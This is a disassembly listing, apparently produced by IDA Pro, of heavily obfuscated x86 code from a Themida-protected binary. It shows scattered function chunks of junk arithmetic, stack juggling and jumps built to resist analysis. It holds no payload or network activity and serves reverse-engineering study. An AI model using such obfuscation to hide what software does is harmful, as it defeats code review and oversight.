push edx
push esi
mov esi, 24537A5Ch
jmp loc_5726A1
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571890
loc_568466: ; CODE XREF: sub_571890-8C7Cj
mov esi, 50423DD9h
sub esi, 1C8838ECh
inc esi
neg esi
add esi, 3F12441Dh
xor esi, 4BD95EACh
sub ebp, esi
pop esi
add ebp, eax
add ebp, 40816183h
push [esp-4+arg_0]
pop eax
push ebx
mov ebx, esp
add ebx, 4
sub esp, 4
mov [esp+4+var_4], ecx
jmp loc_56BAFC
; END OF FUNCTION CHUNK FOR sub_571890
; =============== S U B R O U T I N E =======================================
sub_5684A6 proc near ; DATA XREF: Themida_:0055FF3Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00560232 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005610ED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056141E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005647A5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005652F3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565C22 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566C1C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056D54C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D78D SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056E8D6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E9A0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00571541 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00571DF1 SIZE 00000011 BYTES
push 554Fh
jmp loc_5610ED
sub_5684A6 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_5684B0: ; CODE XREF: sub_56BD44-383Fj
dec edx
push esi
mov esi, 4A40618Ah
xor esi, 0F9540B9Ch
xor edx, esi
pop esi
add eax, edx
pop edx
add ecx, eax
jmp loc_56462F
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_5684CA: ; CODE XREF: sub_574A21-78D1j
xchg edx, esi
push ebx
mov ebx, 471A3FF2h
and ebx, 47DF405Eh
xor ebx, 6A7B45C7h
jmp loc_5682E5
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_5684E3: ; CODE XREF: sub_574DC1-DB6Ej
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], ebp
jmp loc_56B3EF
; END OF FUNCTION CHUNK FOR sub_574DC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_5684FC: ; CODE XREF: sub_56BD44+1DFDj
add edx, 475E72DFh
shr edx, 3
jmp loc_5684B0
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DD54
loc_56850A: ; CODE XREF: sub_56DD54-8458j
mov edx, [esp-8+arg_4]
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 4
add edi, ecx
pop ecx
xchg edi, [esp-4+arg_0]
pop esp
xchg edi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
mov ax, word ptr [esp-8+arg_4]
push 0A1Fh
jmp loc_570D58
; END OF FUNCTION CHUNK FOR sub_56DD54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572669
loc_568537: ; CODE XREF: sub_572669-D005j
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp+0]
jmp loc_56FAAE
; END OF FUNCTION CHUNK FOR sub_572669
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575328
loc_56854C: ; CODE XREF: sub_575328-10190j
xor [esp+0Ch+var_C], 66760014h
pop ebp
xor ebp, 66760014h
jmp loc_573F72
; END OF FUNCTION CHUNK FOR sub_575328
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566B37
loc_56855F: ; CODE XREF: sub_566B37-19A8j
mov esi, [esp+8+var_8]
add esp, 4
sub ebx, eax
mov eax, [esp+4+var_4]
add esp, 4
jmp sub_56ACC0
; END OF FUNCTION CHUNK FOR sub_566B37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564EBE
loc_568575: ; CODE XREF: sub_564EBE+E0AAj
sub eax, ecx
push ebp
mov ebp, 7585596Dh
sub eax, ebp
pop ebp
push dword ptr [esp+0]
pop ecx
add esp, 4
push ecx
jmp loc_5630CE
; END OF FUNCTION CHUNK FOR sub_564EBE
; =============== S U B R O U T I N E =======================================
sub_56858D proc near ; CODE XREF: sub_5648C6+9A2Ej
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00568B55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056A7D1 SIZE 0000002A BYTES
push ebp
mov ebp, 3B0A01E0h
add esi, ebp
pop ebp
add edi, esi
pop esi
jmp loc_56A7D1
sub_56858D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570621
loc_56859E: ; CODE XREF: sub_570621-CF86j
mov edx, [esp+8+var_8]
add esp, 4
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
jmp loc_56FF59
; END OF FUNCTION CHUNK FOR sub_570621
; =============== S U B R O U T I N E =======================================
sub_5685B2 proc near ; CODE XREF: sub_56356E+8j
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
; FUNCTION CHUNK AT 005601B0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00560742 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560CBE SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00560DAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005617E0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00561AB7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00561B28 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561E61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561F30 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005629DB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00562A5B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00562C78 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00562E0F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00562FC6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056378B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005637DE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563987 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00563F95 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005647D4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00564EB8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005653FC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00565AAD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005665FC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00566D22 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566EBB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005679FF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056844E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569467 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0056B336 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B615 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056B6ED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C015 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056C0AB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056CA5B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056D9AA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F7AB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FEC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056FF53 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005702F4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005704DF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005708C1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00570D21 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057124A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00571EF2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00571F82 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572E4C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005745DD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574A74 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00574ED2 SIZE 00000016 BYTES
sub esp, 4
mov [esp-0Ch+arg_8], esi
jmp loc_56398F
sub_5685B2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5685C0: ; CODE XREF: Themida_:00560CB9j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
add edi, edx
jmp loc_561FD3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_5685D8: ; CODE XREF: sub_56628B+5DF0j
xor ebp, esi
push [esp+8+var_8]
jmp loc_56D46F
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57549C
loc_5685E2: ; CODE XREF: sub_57549C-DCBAj
push 7CFFh
jmp loc_56C416
; END OF FUNCTION CHUNK FOR sub_57549C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_5685EC: ; CODE XREF: sub_5678CB-1ACDj
mov eax, 2FFD2FD6h
and eax, 28DE4486h
not eax
sub eax, 50D864B1h
sub eax, 3D08216Fh
push edi
mov edi, 4E4C40DCh
dec edi
sub esp, 4
mov [esp], esi
mov esi, 17E241D3h
xor esi, 555353FEh
jmp loc_562D30
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
loc_568622: ; CODE XREF: Themida_:0056C064j
add esp, 4
xchg ebx, [esp]
jmp loc_56DFA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_568630: ; CODE XREF: sub_561418+50A4j
mov ebp, edi
pop edi
push edi
mov edi, 6AE13A1Ch
sub edi, 0E0F2FC2h
mov edx, edi
jmp loc_5716BF
; END OF FUNCTION CHUNK FOR sub_561418
; =============== S U B R O U T I N E =======================================
sub_568646 proc near ; CODE XREF: sub_56489B-2596j
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_E = word ptr 12h
; FUNCTION CHUNK AT 005603CA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005607DF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00561DF0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00562043 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00566C3A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00567B14 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056955D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00569C88 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056A230 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056DE64 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E0D6 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056EC69 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056ED17 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056F5FF SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00572512 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057535B SIZE 00000006 BYTES
push ebx
mov bh, ch
push eax
mov ah, bh
mov dl, ah
pop eax
pop ebx
mov ecx, [esp+0]
jmp loc_567B14
sub_568646 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_568658 proc near ; DATA XREF: Themida_:0055FDC8o
var_8 = dword ptr -8
var_4 = dword ptr -4
push dword ptr [esp+0]
push [esp+4+var_4]
push [esp+8+var_8]
pop edx
add esp, 4
push edi
jmp sub_570019
sub_568658 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B6E
loc_56866E: ; CODE XREF: sub_565B6E+CC5Ej
mov edi, [esp+14h+var_14]
add esp, 4
jmp loc_570E58
; END OF FUNCTION CHUNK FOR sub_565B6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56867C: ; CODE XREF: sub_5605BC+E0BCj
mov ebx, 4
add ecx, ebx
pop ebx
push ecx
push [esp+2Ch+var_28]
pop ecx
pop dword ptr [esp+0]
pop esp
push dword ptr [edi+eax*4]
push [esp+28h+var_28]
mov eax, [esp+0]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0]
jmp loc_571B6B
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_5686AE: ; CODE XREF: sub_56657A+E2F0j
push eax
mov eax, 4
add ebx, eax
pop eax
push ecx
push ebp
jmp loc_56D783
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_5686BE: ; CODE XREF: sub_565A8D+AF75j
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+4+var_4]
pop esp
mov [esp+0], edi
sub esp, 4
mov [esp+4+var_4], ecx
push esi
push 0BC12998h
jmp loc_56CAAA
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
loc_5686E5: ; CODE XREF: Themida_:0056841Fj
mov [esp], eax
push ebp
mov ebp, 4
push ebp
pop eax
pop ebp
sub edx, 313A6C86h
sub edx, eax
add edx, 313A6C86h
pop eax
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, esp
jmp loc_573987
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_568716: ; CODE XREF: sub_574656-29C8j
add esi, 4
add esi, 4
xchg esi, [esp+0Ch+var_C]
pop esp
sub esp, 4
mov [esp+0Ch+var_C], esi
sub esp, 4
mov [esp+10h+var_10], ebx
jmp loc_573414
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
loc_568737: ; CODE XREF: Themida_:005732A7j
sub esp, 4
mov [esp], ebp
mov ebp, 4
add eax, ebp
pop ebp
push ecx
jmp loc_562DA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568764
loc_56874B: ; CODE XREF: sub_568764+1F6Ej
add ebp, ecx
mov ecx, [esp+10h+var_10]
add esp, 4
push ebp
push [esp+10h+var_C]
pop ebp
pop [esp+10h+var_10]
jmp loc_5661AE
; END OF FUNCTION CHUNK FOR sub_568764
; =============== S U B R O U T I N E =======================================
sub_568764 proc near ; DATA XREF: Themida_:0055FD98o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056044E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562881 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005632E0 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00563931 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00565247 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005661AE SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0056874B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056A53C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056A6CB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056B936 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056DF16 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056F5A6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FDB2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005705F8 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005710AC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571F0F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005739F1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057426F SIZE 00000018 BYTES
mov ax, [esp+0]
push ecx
push esp
push [esp+8+var_8]
push [esp+0Ch+var_C]
pop ecx
jmp loc_56044E
sub_568764 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_568776: ; CODE XREF: sub_565632+C69Aj
push 0EE4h
jmp loc_563B6C
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
loc_568780: ; CODE XREF: Themida_:0056F390j
add ebx, 1
xchg eax, ebx
push eax
jmp loc_56586D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56878A: ; CODE XREF: sub_564D26+EFDCj
add edi, ebp
mov ebp, [esp+1Ch+var_1C]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+20h+var_20]
jmp loc_568B2A
; END OF FUNCTION CHUNK FOR sub_564D26
; =============== S U B R O U T I N E =======================================
sub_5687A3 proc near ; CODE XREF: sub_569B75-8F26j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056277D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00563A66 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005650C3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565F16 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00566F96 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00567C76 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00568B5A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056983F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005699BF SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00569D57 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A659 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056AFF2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E840 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056F893 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056FCA0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572CD0 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00573364 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00574F1E SIZE 00000022 BYTES
sub esp, 4
jmp loc_56FCA0
sub_5687A3 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_5687AB: ; CODE XREF: sub_573612-6EC3j
xor edx, 322B3F24h
add ebx, 3E52660Dh
jmp loc_573DE9
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_5687BC: ; CODE XREF: sub_570E81-F26Dj
neg ebx
xor ebx, 0BED09408h
add esi, ebx
jmp loc_575306
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_5687CB: ; CODE XREF: sub_56FB8A-184Ej
sub edx, 4C1F71AEh
add edx, 0A33AAF71h
sub ebx, edx
pop edx
pop ebp
jmp loc_565464
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD36
loc_5687E0: ; CODE XREF: sub_56BD36+8C68j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+8+var_8]
pop esp
add ebx, 4
push ebp
jmp loc_572126
; END OF FUNCTION CHUNK FOR sub_56BD36
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5687FB: ; CODE XREF: sub_57354D-1CDDj
push [esp+8+var_8]
pop esi
add esp, 4
push eax
jmp loc_56A690
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_568808: ; CODE XREF: sub_565632+9C4Fj
pop ebp
jmp loc_56D428
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566078
loc_56880E: ; CODE XREF: sub_566078-A84j
mov edx, [esp+0]
jmp loc_568AF0
; END OF FUNCTION CHUNK FOR sub_566078
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_568816: ; CODE XREF: sub_56B71F-7744j
sub edx, 42352928h
sub edx, 318372D7h
xor eax, edx
jmp loc_56589B
; END OF FUNCTION CHUNK FOR sub_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_568829: ; CODE XREF: sub_56C83E+59B4j
add ebp, esi
pop esi
sub ebp, 62B828A1h
or ebp, 1D09135Eh
jmp loc_564113
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_56883D: ; CODE XREF: sub_56B1DC-317Ej
mov ebx, 616F6896h
or ebx, 42224A1Fh
xor ebx, 7A954B8h
jmp loc_566A5D
; END OF FUNCTION CHUNK FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_568853: ; CODE XREF: sub_570732-6C16j
pop ebp
jmp loc_568D42
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6977h
jmp loc_5694B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E4D4
loc_568867: ; CODE XREF: sub_56E4D4-45DEj
xor ebx, eax
push 168Bh
mov [esp+0], ebx
mov ebx, 22316930h
push 5195h
mov [esp+4+var_4], edi
sub esp, 4
mov [esp+8+var_8], ebx
jmp loc_5718E6
; END OF FUNCTION CHUNK FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_56888C: ; CODE XREF: sub_571C0A-8CFFj
sub edi, 4
xchg edi, [esp+0]
pop esp
mov [esp+8+var_8], esi
mov esi, esp
jmp loc_5659A1
; END OF FUNCTION CHUNK FOR sub_571C0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_5688A0: ; CODE XREF: sub_56A7FB-6C94j
xor ch, 64h
not ch
sub ch, 0C1h
jmp loc_56B972
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EFD2
loc_5688AD: ; CODE XREF: sub_56EFD2+19E1j
pop esi
add edi, 5D9A5487h
jmp loc_560D1D
; END OF FUNCTION CHUNK FOR sub_56EFD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_5688B9: ; CODE XREF: sub_571088-9DE1j
pop ebx
jmp loc_567B96
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C4FF
loc_5688BF: ; CODE XREF: sub_56C4FF+577Cj
sub ecx, 0AABF40D8h
xor ebp, ecx
pop ecx
add eax, ebp
jmp loc_56F528
; END OF FUNCTION CHUNK FOR sub_56C4FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_5688CF: ; CODE XREF: sub_568E5C+278Dj
push eax
push dword ptr [esp+4]
jmp loc_566E19
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_5688D9: ; CODE XREF: sub_56E96D-5AD9j
sub ebx, 17E7F0D4h
add ebp, ebx
pop ebx
jmp loc_570442
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_5688E7: ; CODE XREF: sub_56DA43-78B2j
pop esp
mov [esp+0], esi
push [esp+arg_0]
mov esi, [esp+4+var_4]
jmp loc_572B04
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_5688F7: ; CODE XREF: sub_574A21-5CA5j
pop ecx
jmp loc_570AA9
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
loc_5688FD: ; CODE XREF: Themida_:00571EDCj
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov ax, [esp]
push 85Ch
mov [esp], ebp
jmp loc_5699B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56891A: ; CODE XREF: sub_574A21-D419j
xor eax, ebx
pop ebx
jmp loc_566B94
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5666C3
loc_568922: ; CODE XREF: sub_5666C3-2677j
pop esi
sub eax, 2CD30CF6h
add eax, 36D715BAh
jmp loc_573AC6
; END OF FUNCTION CHUNK FOR sub_5666C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_568932: ; CODE XREF: sub_560844+3B5j
dec edx
not edx
not edx
and edx, 16DE10FFh
not edx
add edx, 14000049h
add esi, edx
jmp loc_560203
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_56894C: ; CODE XREF: sub_56BC97-25E5j
add eax, 4
jmp loc_56B152
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_568956: ; CODE XREF: sub_56B11B+3848j
add ebx, eax
jmp loc_562663
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573167
loc_56895D: ; CODE XREF: sub_573167+12j
mov edx, 1B640300h
neg edx
and edx, 60F56C1Fh
inc edx
or edx, 3139634Fh
add edx, 8E4690B5h
add ebp, edx
jmp loc_5652B5
; END OF FUNCTION CHUNK FOR sub_573167
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_56897E: ; CODE XREF: sub_56EE9F-DC23j
add esp, 4
or [edi+1Ch], ebp
jmp loc_560804
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E1B
loc_568989: ; CODE XREF: sub_569E1B+1F05j
sub al, 0B2h
add al, cl
jmp sub_57117B
; END OF FUNCTION CHUNK FOR sub_569E1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_568992: ; CODE XREF: sub_574F16-88FAj
mov dl, 35h
add dl, ch
pop ecx
shl dl, 8
jmp loc_5628FD
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56899F: ; CODE XREF: sub_56FB8A-9D2Bj
xor edx, 27C181Bh
xor edx, 0EFC2116Ch
add esi, edx
pop edx
push esi
add [esp+8+var_8], 434C1F36h
jmp loc_565A3A
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_5689BB: ; CODE XREF: sub_56FA15-5018j
xor bl, ah
jmp loc_56D170
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_5689C2: ; CODE XREF: sub_56F782+9j
pop ecx
add esp, 4
sub esp, 4
mov [esp+8+var_8], esi
jmp loc_56ACAB
; END OF FUNCTION CHUNK FOR sub_56F782
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_5689D1: ; CODE XREF: sub_5690E8-55A9j
xor eax, [esp+8+var_8]
jmp loc_574B70
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E5BB
loc_5689D9: ; CODE XREF: sub_56E5BB+4A3Fj
push [esp+18h+var_14]
pop edx
pop [esp+18h+var_18]
pop esp
pop [esp+10h+var_10]
mov esp, [esp+0Ch+var_C]
shl [esp-4+arg_0], cl
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56E5BB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_5689F2: ; CODE XREF: sub_56FA15-D77Fj
pop ecx
add al, 1Dh
push edx
mov dl, 0BBh
sub al, dl
pop edx
add al, 0ECh
sub al, dh
sub al, 0ECh
add al, 0BBh
sub al, 1Dh
mov dx, word ptr [esp+4+var_4]
jmp loc_571B05
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
